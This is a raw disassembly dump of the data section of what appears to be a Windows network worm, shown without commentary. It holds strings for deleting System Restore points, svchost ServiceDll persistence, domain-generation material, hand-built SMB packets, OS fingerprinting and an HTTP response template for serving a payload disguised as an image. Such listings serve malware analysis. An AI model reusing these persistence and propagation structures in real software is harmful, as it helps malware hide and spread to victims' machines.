aInstaller: ; DATA XREF: .text:009B9AE0o
unicode 0, <Installer>,0
aImage: ; DATA XREF: .text:009B9ADCo
unicode 0, <Image>,0
aHelper: ; DATA XREF: .text:009B9AD8o
unicode 0, <Helper>,0
align 4
aDriver: ; DATA XREF: .text:009B9AD4o
unicode 0, <Driver>,0
align 4
aConfig: ; DATA XREF: .text:009B9AD0o
unicode 0, <Config>,0
align 4
aCenter: ; DATA XREF: .text:009B9ACCo
unicode 0, <Center>,0
align 4
aBoot: ; DATA XREF: .text:off_9B9AC8o
unicode 0, <Boot>,0
align 10h
; char aResetsr[]
aResetsr db 'ResetSR',0 ; DATA XREF: sub_9AD00D+22o
; char LibFileName[]
LibFileName db 'srclient.dll',0 ; DATA XREF: sub_9AD00D+Co
align 4
stru_9A4678 _msEH <0FFFFFFFFh, offset loc_9AD048, offset loc_9AD04C>
; DATA XREF: sub_9AD00D+2o
align 8
dword_9A4688 dd 0FFFFFFFFh, 9AD242h, 9AD246h, 0 ; DATA XREF: sub_9AD062+5o
stru_9A4698 _msEH <0FFFFFFFFh, offset loc_9AD331, offset loc_9AD335>
; DATA XREF: sub_9AD271+2o
align 8
aSoftwareMicr_1: ; DATA XREF: sub_9AD3ED+Fo
unicode 0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
align 4
; const WCHAR aServicedll
aServicedll: ; DATA XREF: sub_9AD50E+1B9o
unicode 0, <ServiceDll>,0
align 4
; const WCHAR SubKey
SubKey: ; DATA XREF: sub_9AD50E+196o
unicode 0, <Parameters>,0
align 4
; const WCHAR aDescription
aDescription: ; DATA XREF: sub_9AD50E+17Eo
unicode 0, <Description>,0
; const WCHAR aObjectname
aObjectname: ; DATA XREF: sub_9AD50E+163o
unicode 0, <ObjectName>,0
align 4
; BYTE Data
Data: ; DATA XREF: sub_9AD50E+15Bo
unicode 0, <LocalSystem>,0
; const WCHAR aImagepath
aImagepath: ; DATA XREF: sub_9AD50E+14Fo
unicode 0, <ImagePath>,0
; const WCHAR aErrorcontrol
aErrorcontrol: ; DATA XREF: sub_9AD50E+131o
unicode 0, <ErrorControl>,0
align 4
; const WCHAR aStart
aStart: ; DATA XREF: sub_9AD50E+117o
unicode 0, <Start>,0
; const WCHAR aType
aType: ; DATA XREF: sub_9AD50E+FDo
unicode 0, <Type>,0
align 4
; const WCHAR ValueName
ValueName: ; DATA XREF: sub_9AD50E+EAo
unicode 0, <DisplayName>,0
align 10h
aSystemCurrentc: ; DATA XREF: sub_9AD50E+60o
unicode 0, <SYSTEM\CurrentControlSet\Services\>,0
align 4
aSystemrootSyst: ; DATA XREF: sub_9AD50E+1Co
unicode 0, <%SystemRoot%\system32\svchost.exe -k >,0
; char aRundll32_exe_0[]
aRundll32_exe_0 db 'rundll32.exe "%s",%s',0 ; DATA XREF: sub_9AD71D+163o
align 4
; wchar_t aNetsvcs
aNetsvcs: ; DATA XREF: sub_9AD71D+F4o
unicode 0, <netsvcs>,0
; wchar_t asc_9A48AC
asc_9A48AC: ; DATA XREF: sub_9AD71D+A3o
unicode 0, < >,0
a_biz db '.biz',0 ; DATA XREF: .text:009B9D8Co
align 4
a_info db '.info',0 ; DATA XREF: .text:009B9D88o
align 10h
a_org db '.org',0 ; DATA XREF: .text:009B9D84o
align 4
a_net db '.net',0 ; DATA XREF: .text:009B9D80o
align 10h
a_com db '.com',0 ; DATA XREF: .text:009B9D7Co
align 4
a_ws db '.ws',0 ; DATA XREF: .text:009B9D78o
a_cn db '.cn',0 ; DATA XREF: .text:009B9D74o
a_cc db '.cc',0 ; DATA XREF: .text:off_9B9D70o
aDec db 'Dec',0 ; DATA XREF: .text:009B9D6Co
aNov db 'Nov',0 ; DATA XREF: .text:009B9D68o
aOct db 'Oct',0 ; DATA XREF: .text:009B9D64o
aSep db 'Sep',0 ; DATA XREF: .text:009B9D60o
aAug db 'Aug',0 ; DATA XREF: .text:009B9D5Co
aJul db 'Jul',0 ; DATA XREF: .text:009B9D58o
aJun db 'Jun',0 ; DATA XREF: .text:009B9D54o
aMay db 'May',0 ; DATA XREF: .text:009B9D50o
aApr db 'Apr',0 ; DATA XREF: .text:009B9D4Co
aMar db 'Mar',0 ; DATA XREF: .text:009B9D48o
aFeb db 'Feb',0 ; DATA XREF: .text:009B9D44o
aJan db 'Jan',0 ; DATA XREF: .text:off_9B9D40o
aW3_org db 'w3.org',0 ; DATA XREF: .text:009B9D3Co
align 4
aAsk_com db 'ask.com',0 ; DATA XREF: .text:009B9D38o
aYahoo_com db 'yahoo.com',0 ; DATA XREF: .text:009B9D30o
align 10h
aGoogle_com db 'google.com',0 ; DATA XREF: .text:009B9D2Co
align 4
aBaidu_com db 'baidu.com',0 ; DATA XREF: .text:off_9B9D28o
align 4
; char Delim[]
Delim db ', ',0 ; DATA XREF: sub_9ADA6E+36o
align 10h
dbl_9A4950 dq 0.626454564 ; DATA XREF: sub_9ADC21+A6r
; char aHttpSSearch?qD[]
aHttpSSearch?qD db 'http://%s/search?q=%d',0 ; DATA XREF: sub_9ADCF2+15o
align 10h
stru_9A4970 _msEH <0FFFFFFFFh, offset loc_9ADFAC, offset loc_9ADFB0>
; DATA XREF: sub_9ADD9B+5o
align 10h
unk_9A4980 db 81h ; ; DATA XREF: sub_9AE3FA+5Do
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
dword_9A49CC dd 2F000000h, 424D53FFh, 72h, 4 dup(0) ; DATA XREF: sub_9AE3FA+A7o
dd 25C0000h, 0
dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h
dword_9A4A00 dd 49000000h, 424D53FFh, 73h, 4 dup(0) ; DATA XREF: sub_9AE3FA+EFo
dd 25C0000h, 0
dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
dd 1000000h, 0B000000h, 4D000000h, 4C430053h, 544E4549h
dd 0
; char aUnix[]
aUnix db 'unix',0 ; DATA XREF: sub_9AE3FA:loc_9AE649o
align 4
; char aWindows4_0[]
aWindows4_0 db 'windows 4.0',0 ; DATA XREF: sub_9AE3FA:loc_9AE636o
; char aWindows5_0[]
aWindows5_0 db 'windows 5.0',0 ; DATA XREF: sub_9AE3FA:loc_9AE624o
; char aWindows5_1[]
aWindows5_1 db 'windows 5.1',0 ; DATA XREF: sub_9AE3FA:loc_9AE612o
; char aServicePack2[]
aServicePack2 db 'service pack 2',0 ; DATA XREF: sub_9AE3FA:loc_9AE5E8o
align 4
; char aWindowsServer2[]
aWindowsServer2 db 'windows server 2003',0 ; DATA XREF: sub_9AE3FA:loc_9AE5C8o
; char aServicePack[]
aServicePack db 'service pack',0 ; DATA XREF: sub_9AE3FA:loc_9AE5ADo
; sub_9AE3FA:loc_9AE5FAo
align 10h
; char aServicePack1[]
aServicePack1 db 'service pack 1',0 ; DATA XREF: sub_9AE3FA+19Eo
; sub_9AE3FA+1DCo
align 10h
aVista db 'vista',0 ; DATA XREF: sub_9AE3FA+188o
align 4
stru_9A4AC8 _msEH <0FFFFFFFFh, offset loc_9AE663, offset loc_9AE667>
; DATA XREF: sub_9AE3FA+2o
dd 676E70h ; DATA XREF: .text:009B9DA4o
aJpeg db 'jpeg',0 ; DATA XREF: .text:009B9DA0o
align 10h
dword_9A4AE0 dd 666967h ; DATA XREF: .text:009B9D9Co
dword_9A4AE4 dd 706D62h ; DATA XREF: .text:off_9B9D98o
; char aHttp1_0200OkPr[]
aHttp1_0200OkPr db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_9AE6A2+240o
db 'Pragma: no-cache',0Dh,0Ah
db 'Content-Length: %u',0Dh,0Ah
db 'Content-Type: image/%s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aMacintosh[]
aMacintosh db 'macintosh',0 ; DATA XREF: sub_9AE6A2+1D8o
align 4
; char aLinux[]
aLinux db 'linux',0 ; DATA XREF: sub_9AE6A2+1CAo
align 10h
; char aLwp[]
aLwp db 'lwp::',0 ; DATA XREF: sub_9AE6A2+1BCo
align 4
; char aWget[]
aWget db 'wget',0 ; DATA XREF: sub_9AE6A2+1AEo
align 10h
; char aWindowsNt5_[]
aWindowsNt5_ db 'windows nt 5.',0 ; DATA XREF: sub_9AE6A2+1A0o
align 10h
; char aUserAgent[]
aUserAgent db 0Dh,0Ah ; DATA XREF: sub_9AE6A2+176o
db 'user-agent:',0
align 10h
; char asc_9A4B80[]
asc_9A4B80 db 0Dh,0Ah ; DATA XREF: sub_9AE6A2+162o
db 0Dh,0
; char aGetSHttp[]
aGetSHttp db 'get /%s http/',0 ; DATA XREF: sub_9AE6A2+75o
align 8
stru_9A4B98 _msEH <0FFFFFFFFh, offset loc_9AE9D1, offset loc_9AE9D5>
; DATA XREF: sub_9AE6A2+5o
align 8
dword_9A4BA8 dd 44h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 3, 8A885D04h
; DATA XREF: .text:pStubDescriptoro
dd 11C91CEBh, 8E89Fh, 6048102Bh, 2, 7 dup(0)
dd 48320000h, 0
dd 180000h, 400024h, 7080647h, 30003h, 0B0000h, 20000h
dd 4011Bh, 4800D6h, 80008h, 0C2150h, 1A0008h, 0E80010h
dd 140070h, 48320008h, 0
dd 140001h, 80008h, 3080547h, 1, 0B0000h, 20000h, 4010Bh
dd 4800EEh, 80008h, 0C2113h, 7000F4h, 80010h, 4832h, 20000h
dd 80010h, 4460008h, 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 80048h, 700008h, 8000Ch, 4832h
dd 30000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h
dd 20004h, 8011Bh, 48019Ch, 8000Ch, 102150h, 1A0008h, 0E80014h
dd 180070h, 48320008h, 0
dd 180004h, 80008h, 3080647h, 1, 0B0000h, 20000h, 4010Bh
dd 10B00EEh, 0EE0008h, 0C0048h, 21130008h, 1AE0010h, 140070h
dd 48320008h, 0
dd 180005h, 240024h, 5080646h, 10000h, 0B0000h, 20000h
dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A01E8h, 0E80010h
dd 140070h, 48320008h, 0
dd 0C0006h, 80000h, 1080346h, 0
dd 0B0000h, 20000h, 4010Bh, 7000EEh, 80008h, 4832h, 70000h
dd 10h, 4460008h, 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 7000EEh, 8000Ch, 4832h
dd 80000h, 24001Ch, 7470040h, 30708h, 3, 0Bh, 0B0002h
dd 20004h, 8011Bh, 4802BEh, 8000Ch, 102150h, 1A0008h, 0E80014h
dd 180070h, 48320008h, 0
a@:
dw 9
unicode 0, < $@>
dd 7080847h, 30003h, 0B0000h, 20000h, 4000Bh, 0B0002h
dd 20008h, 0C011Bh, 480350h, 80010h, 142150h, 1A0008h
dd 0E80018h, 1C0070h, 48320008h, 0
dd 14000Ah, 80010h, 3080547h, 1, 0B0000h, 20000h, 40048h
dd 480008h, 80008h, 0C2113h, 700362h, 80010h, 4832h, 0B0000h
dd 8000Ch, 3460008h, 108h, 0
dd 0Bh, 480002h, 80004h, 80070h, 48320008h, 0
dd 20000Ch, 400024h, 7080847h, 60006h, 0B0000h, 20000h
dd 4000Bh, 0B0002h, 20008h, 0C011Bh, 48057Ch, 80010h, 142150h
dd 1A0008h, 0E80018h, 1C0070h, 48320008h, 0
dd 10000Dh, 80000h, 1080446h, 0
dd 0B0000h, 20000h, 4000Bh, 0B0002h, 20008h, 0C0070h, 48320008h
dd 0
dd 14000Eh, 240024h, 5080546h, 30000h, 0B0000h, 20000h
dd 40048h, 10B0008h, 58E0008h, 0C001Ah, 7000E8h, 80010h
dd 4832h, 0F0000h, 240018h, 6470040h, 70708h, 7, 0Bh, 11B0002h
dd 7CC0004h, 80048h, 21500008h, 8000Ch, 10001Ah, 7000E8h
dd 80014h, 4832h, 100000h, 80014h, 5470008h, 30308h, 0
dd 0Bh, 10B0002h, 0EE0004h, 80048h, 21130008h, 7DE000Ch
dd 100070h, 48320008h, 0
dd 180011h, 240024h, 5080646h, 30000h, 0B0000h, 20000h
dd 4010Bh, 4800EEh, 80008h, 0C010Bh, 1A0828h, 0E80010h
dd 140070h, 48320008h, 0
dd 100012h, 80008h, 1080446h, 0
dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h
dd 0
dd 100013h, 80008h, 1080446h, 0
dd 0B0000h, 20000h, 4010Bh, 4800EEh, 80008h, 0C0070h, 48320008h
dd 0
dd 100014h, 240000h, 1080446h, 0
dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0070h
dd 48320008h, 0
dd 100015h, 80008h, 3080447h, 1, 0B0000h, 20000h, 40048h
dd 21130008h, 8720008h, 0C0070h, 48320008h, 0
dd 140016h, 240024h, 5080546h, 10000h, 0B0000h, 20000h
dd 40048h, 10B0008h, 0BA80008h, 0C001Ah, 7000E8h, 80010h
dd 4832h, 170000h, 2C001Ch, 7470040h, 10708h, 1, 0Bh, 480002h
dd 80004h, 8011Bh, 480D46h, 8000Ch, 102150h, 1A0008h, 0E80014h
dd 180070h, 48320008h, 0
dd 180018h, 840010h, 1080646h, 0
dd 0B0000h, 20000h, 4000Bh, 480002h, 80008h, 0C0048h, 20120008h
dd 0D5A0010h, 140070h, 48320008h, 0
dd 100019h, 80008h, 5080446h, 10000h, 0B0000h, 20000h
dd 40048h, 10B0008h, 0D880008h, 0C0070h, 48320008h, 0
dd 18001Ah, 400024h, 7080647h, 90009h, 0B0000h, 20000h
dd 4011Bh, 480FD0h, 80008h, 0C2150h, 1A0008h, 0E80010h
dd 140070h, 48320008h, 0
dd 10001Bh, 80008h, 5080446h, 10000h, 0B0000h, 20000h
dd 40048h, 10B0008h, 0D880008h, 0C0070h, 48320008h, 0
dd 0C001Ch, 700000h, 1080346h, 0
dd 0B0000h, 20000h, 42012h, 700FDEh, 80008h, 4832h, 1D0000h
dd 100014h, 5460008h, 108h, 0
dd 0Bh, 0B0002h, 20004h, 80048h, 480008h, 8000Ch, 100070h
dd 48320008h, 0
dd 14001Eh, 240008h, 1080546h, 0
dd 0B0000h, 20000h, 4010Bh, 215000EEh, 80008h, 0C0048h
dd 700008h, 80010h
; const unsigned __int8 pFormat
pFormat db 32h ; DATA XREF: sub_9AED38+8o
db 48h, 2 dup(0)
dd 1F0000h, 2C0020h, 8470024h, 10308h, 0
dd 0Bh, 10B0002h, 0EE0004h, 80113h, 880FFCh, 1008000Ch
dd 10010Bh, 15800EEh, 80014h, 180048h, 700008h, 8001Ch
; const unsigned __int8 byte_9A52DC
byte_9A52DC db 32h ; DATA XREF: sub_9AED5A+8o
db 48h, 2 dup(0)
dd 200000h, 100018h, 6460008h, 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h
dd 700008h, 80014h, 4832h, 210000h, 100014h, 5460008h
dd 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 80048h, 480008h, 8000Ch, 100070h
dd 48320008h, 0
dd 1C0022h, 80018h, 3080747h, 1, 0B0000h, 20000h, 4010Bh
dd 11300EEh, 101A0008h, 0C0088h, 481026h, 80010h, 140048h
dd 700008h, 80018h, 4832h, 230000h, 100018h, 6460008h
dd 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 8010Bh, 4800EEh, 8000Ch, 100048h
dd 700008h, 80014h, 4832h, 240000h, 240018h, 6470040h
dd 70708h, 7, 0Bh, 11B0002h, 7CC0004h, 80048h, 21500008h
dd 8000Ch, 10001Ah, 7000E8h, 80014h, 4832h, 250000h, 80014h
dd 5460040h, 108h, 0
dd 0Bh, 10B0002h, 0EE0004h, 80048h, 1100008h, 1034000Ch
dd 100070h, 48000008h, 0
dd 80026h, 0E030h, 380000h, 2440040h, 108h, 0
dd 118h, 70103Ch, 80004h, 4832h, 270000h, 80018h, 6470008h
dd 10308h, 0
dd 0Bh, 0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 102013h
dd 701040h, 80014h, 4832h, 280000h, 80018h, 6460008h, 508h
dd 1, 0Bh, 0B0002h, 20004h, 8010Bh, 4800EEh, 8000Ch, 10010Bh
dd 700698h, 80014h, 4832h, 290000h, 80010h, 4460008h, 508h
dd 5, 0Bh, 480002h, 80004h, 8010Bh, 70104Ch, 8000Ch, 4832h
dd 2A0000h, 18001Ch, 7460008h, 108h, 0
dd 0Bh, 0B0002h, 20004h, 8000Bh, 480002h, 8000Ch, 100048h
dd 480008h, 80014h, 180070h, 48320008h, 0
dd 0C002Bh, 240000h, 1080346h, 0
dd 0B0000h, 20000h, 42150h, 700008h, 80008h, 4832h, 2C0000h
dd 4C0020h, 8460008h, 508h, 1, 0Bh, 10B0002h, 0EE0004h
dd 8010Ah, 10B107Eh, 0EE000Ch, 10010Bh, 10B00EEh, 10C80014h
dd 180048h, 700008h, 8001Ch, 4832h, 2D0000h, 440010h, 4460008h
dd 108h, 0
dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 7000EEh, 8000Ch, 4832h
dd 2E0000h, 4C0014h, 5460008h, 108h, 0
dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h
dd 48320008h, 0
dd 10002Fh, 80044h, 1080446h, 0
dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h, 0C0070h
dd 48320008h, 0
dd 1C0030h, 80054h, 3080747h, 1, 0B0000h, 20000h, 4010Ah
dd 10B107Eh, 0EE0008h, 0C0048h, 480008h, 80010h, 140113h
dd 7010E0h, 80018h, 4832h, 310000h, 4C0014h, 5460008h
dd 108h, 0
dd 0Bh, 10A0002h, 107E0004h, 8010Bh, 4800EEh, 8000Ch, 100070h
dd 48320008h, 0
dd 100032h, 80044h, 1080446h, 0
dd 0B0000h, 20000h, 4010Ah, 10B107Eh, 0EE0008h, 0C0070h
dd 48320008h, 0
a3_0:
unicode 0, <3(\>
dw 8
dd 5080A46h, 10000h, 0B0000h, 20000h, 4010Bh, 4800EEh
dd 80008h, 0C0048h, 10B0008h, 0EE0010h, 14010Ah, 10B107Eh
dd 0EE0018h, 1C010Bh, 4810C8h, 80020h, 240070h, 48320008h
dd 0
dd 0C0034h, 80000h, 7080347h, 10001h, 0B0000h, 20000h
dd 4201Bh, 7010ECh, 80008h, 4832h, 350000h, 80010h, 4460008h
dd 508h, 5, 0Bh, 480002h, 80004h, 8010Bh, 701124h, 8000Ch
dd 2 dup(0)
db 2 dup(0)
word_9A57BA dw 0 ; DATA XREF: .text:pStubDescriptoro
dd 5C250812h, 0CE0011h, 8082Bh, 1FFFCh, 40002h, 2, 0A0000h
dd 1, 52h, 380012h, 40316h, 5C465C4Bh, 0
dd 5C250812h, 5B5C085Bh, 4031Bh, 18h, 5C4B0001h, 44948h
dd 10000h, 0
dd 5C250812h, 0CD004C5Bh, 3165BFFh, 5C4B0008h, 45C46h
dd 120004h, 85BFFD0h, 125B08h, 316004Ch, 5C4B0010h, 5C46h
dd 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh, 31B5B08h
dd 180010h, 10000h, 49485C4Bh, 10h, 2, 8120000h, 85C25h
dd 8120008h, 4C5B5C25h, 5BFFB900h, 80316h, 5C465C4Bh, 40004h
dd 0FFC80012h, 5B08085Bh, 8031Ah, 0
dd 29004C08h, 0C115BFFh, 8125C08h, 8115C08h, 4115C25h
dd 82B0002h, 80028h, 20001h, 20004h, 0
dd 1000Ah, 80000h, 120000h, 12FF18h, 11FF62h, 82B0082h
dd 0FFFC0008h, 20001h, 20004h, 0
dd 1FEF8h, 40000h, 120000h, 316004Eh, 5C4B0014h, 5C46h
dd 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh, 5B5C0808h
dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0
dd 5C250812h, 80008h, 5C250812h, 0B7004C5Bh, 3165BFFh
dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 31A5B08h, 8, 4C080000h
dd 5BFF7500h, 20411h, 28082Bh, 1000Ch, 40002h, 4, 0FF500000h
dd 1, 3EA0010h, 0E0000h, 3EBh, 0FF3Eh, 0FF640012h, 20012h
dd 40315h, 115B08h, 82B0002h, 80028h, 20001h, 40004h, 0
dd 1FF16h, 0FFD60000h, 3EAh, 3EBFFD4h, 0FF040000h, 110000h
dd 82B00ACh, 0FFFC0008h, 20001h, 20004h, 0
dd 1000Ah, 2C0000h, 120000h, 31B0012h, 180004h, 10000h
dd 0FF9E004Ch, 3165B5Ch, 5C4B0008h, 45C46h, 120004h, 85BFFE2h
dd 125B08h, 3160050h, 5C4B001Ch, 145C46h, 8120014h, 5C465C25h
dd 180018h, 5C250812h, 808085Bh, 8080808h, 31B5B5Ch, 18001Ch
dd 10000h, 49485C4Bh, 1Ch, 140002h, 8120014h, 185C25h
dd 8120018h, 4C5B5C25h, 5BFFB500h, 80316h, 5C465C4Bh, 40004h
dd 0FFC80012h, 5B08085Bh, 8031Ah, 0
dd 4B004C08h, 115BFFh, 82B0082h, 0FFFC0008h, 20001h, 20004h
dd 2, 3FF4Eh, 40000h, 120000h, 316004Eh, 5C4B0014h, 0C5C46h
dd 812000Ch, 5C465C25h, 100010h, 5C250812h, 808085Bh, 5B5C0808h
dd 14031Bh, 18h, 5C4B0001h, 144948h, 20000h, 0C000Ch, 5C250812h
dd 100010h, 5C250812h, 0B7004C5Bh, 3165BFFh, 5C4B0008h
dd 45C46h, 120004h, 85BFFC8h, 31A5B08h, 8, 4C080000h, 5BFF7500h
dd 20411h, 28082Bh, 10008h, 40002h, 20002h, 0FE660000h
dd 3, 4, 0FF700012h, 1F80011h, 8082Bh, 1FFFCh, 40002h
dd 5, 0FC8E0000h, 1, 20016h, 740000h, 0Ah, 1F600E6h, 1420000h
dd 120000h, 316004Eh, 5C4B0018h, 5C46h, 8120000h, 5C465C25h
dd 40004h, 5C250812h, 808085Bh, 5B080808h, 18031Bh, 18h
dd 5C4B0001h, 184948h, 20000h, 0
dd 5C250812h, 40004h, 5C250812h, 0B7004C5Bh, 3165BFFh
dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 3160062h
dd 5C4B001Ch, 5C46h, 8120000h, 5C465C25h, 40004h, 5C250812h
dd 185C46h, 8120018h, 85B5C25h, 8080808h, 5B5C0808h, 1C031Bh
dd 18h, 5C4B0001h, 1C4948h, 30000h, 0
dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 0A3004C5Bh
dd 3165BFFh, 5C4B0008h, 45C46h, 120004h, 85BFFC0h, 125B08h
dd 316004Ch, 5C4B0010h, 5C46h, 8120000h, 5C465C25h, 40004h
dd 5C250812h, 808085Bh, 31B5B08h, 180010h, 10000h, 49485C4Bh
dd 10h, 2, 8120000h, 45C25h, 8120004h, 4C5B5C25h, 5BFFB900h
dd 80316h, 5C465C4Bh, 40004h, 0FFC80012h, 5B08085Bh, 740012h
dd 200316h, 5C465C4Bh, 0
dd 5C250812h, 45C46h, 8120004h, 5C465C25h, 180018h, 5C250812h
dd 1C5C46h, 812001Ch, 85B5C25h, 8080808h, 5B080808h, 20031Bh
dd 18h, 5C4B0001h, 204948h, 40000h, 0
dd 5C250812h, 40004h, 5C250812h, 180018h, 5C250812h, 1C001Ch
dd 5C250812h, 91004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h
dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDFF00h, 20011h
dd 28082Bh, 10004h, 40002h, 9, 0FB700000h, 1, 2002Eh, 4C0000h
dd 1F6h, 3EC0082h, 0FB580000h, 3EEh, 5DDFC1Ch, 0C40000h
dd 3EDh, 1F5FC10h, 0FB440000h, 120000h, 3160002h, 5C4B000Ch
dd 5C46h, 8120000h, 5C465C25h, 80008h, 5C250812h, 808085Bh
dd 125B5Ch, 3160002h, 5C4B0020h, 5C46h, 8120000h, 5C465C25h
dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch
dd 5C250812h, 808085Bh, 8080808h, 125B08h, 1B000Eh, 180001h
dd 10020h, 3165B02h, 5C4B0028h, 5C46h, 8120000h, 5C465C25h
dd 80008h, 5C250812h, 185C46h, 8120018h, 5C465C25h, 1C001Ch
dd 5C250812h, 245C46h, 120024h, 85BFFBEh, 2 dup(8080808h)
dd 125B08h, 1B000Eh, 180001h, 10000h, 3165B02h, 5C4B0008h
dd 45C46h, 120004h, 85BFFE6h, 115B08h, 82B011Eh, 0FFFC0008h
dd 20001h, 50004h, 0
dd 1F964h, 160000h, 2, 1F60052h, 9E0000h, 1F5h, 0F99Ah
dd 2C0012h, 0C031Bh, 18h, 5C4B0001h, 0C4948h, 20000h, 0
dd 5C250812h, 80008h, 5C250812h, 0CF004C5Bh, 3165BFEh
dd 5C4B0008h, 45C46h, 120004h, 85BFFC8h, 125B08h, 31B003Ch
dd 180020h, 10000h, 49485C4Bh, 20h, 4, 8120000h, 85C25h
dd 8120008h, 185C25h, 8120018h, 1C5C25h, 812001Ch, 4C5B5C25h
dd 5BFEA100h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h, 5B08085Bh
dd 440012h, 28031Bh, 18h, 5C4B0001h, 284948h, 50000h, 0
dd 5C250812h, 80008h, 5C250812h, 180018h, 5C250812h, 1C001Ch
dd 5C250812h, 240024h, 0FE880012h, 8F004C5Bh, 3165BFEh
dd 5C4B0008h, 45C46h, 120004h, 85BFFB0h, 31A5B08h, 8, 4C080000h
dd 5BFED900h, 20411h, 28082Bh, 10008h, 40002h, 9, 0F9200000h
dd 1, 2FDDEh, 0FDFC0000h, 1F6h, 3ECFE32h, 0F9080000h, 3EEh
dd 5DDF9CCh, 0FE740000h, 3EDh, 1F5F9C0h, 0F8F40000h, 110000h
dd 82B0002h, 80028h, 20001h, 90004h, 0
dd 1F8D6h, 0FD940000h, 2, 1F6FDB2h, 0FDE80000h, 3ECh, 3EEF8BEh
dd 0F9820000h, 5DDh, 3EDFE2Ah, 0F9760000h, 1F5h, 0F8AAh
dd 20411h, 28082Bh, 10004h, 40002h, 64003Bh, 1600000h
dd 65h, 660172h, 1920000h, 192h, 19301C4h, 2080000h, 1F6h
dd 1F70258h, 26E0000h, 257h, 3ED02A8h, 0F85C0000h, 453h
dd 3F2F920h, 0F91A0000h, 3F8h, 3F9F914h, 0F90E0000h, 3FAh
dd 5DDF908h, 0F9020000h, 5DEh, 5DFF8FCh, 0F8F60000h, 5E2h
dd 5E5F8F0h, 0F8EA0000h, 5E6h, 5E7F8E4h, 0F8DE0000h, 5E8h
dd 5E9F8D8h, 0F8D20000h, 5EAh, 5EBF8CCh, 0F8C60000h, 5ECh
dd 5EEF8C0h, 0F8BA0000h, 5F0h, 5F1F8B4h, 0F8AE0000h, 5F2h
dd 5F3F8A8h, 0F8A20000h, 5F4h, 5F5F89Ch, 0F8960000h, 5F8h
dd 5F9F890h, 0F88A0000h, 5FAh, 5FDF884h, 0F87E0000h, 5FEh
dd 5FFF878h, 0F8720000h, 600h, 601F86Ch, 0F8660000h, 602h
dd 603F860h, 0F85A0000h, 604h, 605F854h, 0F84E0000h, 606h
dd 607F848h, 0F8420000h, 608h, 609F83Ch, 0F8360000h, 60Ah
dd 60BF830h, 0F82A0000h, 60Ch, 60DF824h, 0F81E0000h, 60Eh
dd 610F818h, 0F8120000h, 611h, 612F80Ch, 0F8060000h, 613h
dd 614F800h, 0F7FA0000h, 120000h, 3160002h, 5C4B0008h
dd 45C46h, 8120004h, 85B5C25h, 125B08h, 3160002h, 5C4B0018h
dd 45C46h, 8120004h, 5C465C25h, 140014h, 5C250812h, 808085Bh
dd 5B080808h, 20012h, 340316h, 5C465C4Bh, 40004h, 5C250812h
dd 145C46h, 8120014h, 5C465C25h, 300030h, 5C250812h, 808085Bh
dd 2 dup(8080808h), 5B5C0808h, 20012h, 7C0316h, 5C465C4Bh
dd 0C000Ch, 5C250812h, 1C5C46h, 812001Ch, 5C465C25h, 780078h
dd 5C250812h, 808085Bh, 7 dup(8080808h), 125B5Ch, 3160002h
dd 5C4B0088h, 0C5C46h, 812000Ch, 5C465C25h, 1C001Ch, 5C250812h
dd 785C46h, 8120078h, 5C465C25h, 840084h, 5C250812h, 808085Bh
dd 7 dup(8080808h), 5B080808h, 20012h, 480315h, 4 dup(8080808h)
dd 5B5C0808h, 20012h, 0A80316h, 5C465C4Bh, 480048h, 5C250812h
dd 808085Bh, 9 dup(8080808h), 5B080808h, 20012h, 0E00316h
dd 5C465C4Bh, 480048h, 5C250812h, 808085Bh, 0Dh dup(8080808h)
dd 115B08h, 82B0002h, 40028h, 20001h, 3B0004h, 64h, 65FE2Ah
dd 0FE3C0000h, 66h, 192FE5Ch, 0FE8E0000h, 193h, 1F6FED2h
dd 0FF220000h, 1F7h, 257FF38h, 0FF720000h, 3EDh, 453F526h
dd 0F5EA0000h, 3F2h, 3F8F5E4h, 0F5DE0000h, 3F9h, 3FAF5D8h
dd 0F5D20000h, 5DDh, 5DEF5CCh, 0F5C60000h, 5DFh, 5E2F5C0h
dd 0F5BA0000h, 5E5h, 5E6F5B4h, 0F5AE0000h, 5E7h, 5E8F5A8h
dd 0F5A20000h, 5E9h, 5EAF59Ch, 0F5960000h, 5EBh, 5ECF590h
dd 0F58A0000h, 5EEh, 5F0F584h, 0F57E0000h, 5F1h, 5F2F578h
dd 0F5720000h, 5F3h, 5F4F56Ch, 0F5660000h, 5F5h, 5F8F560h
dd 0F55A0000h, 5F9h, 5FAF554h, 0F54E0000h, 5FDh, 5FEF548h
dd 0F5420000h, 5FFh, 600F53Ch, 0F5360000h, 601h, 602F530h
dd 0F52A0000h, 603h, 604F524h, 0F51E0000h, 605h, 606F518h
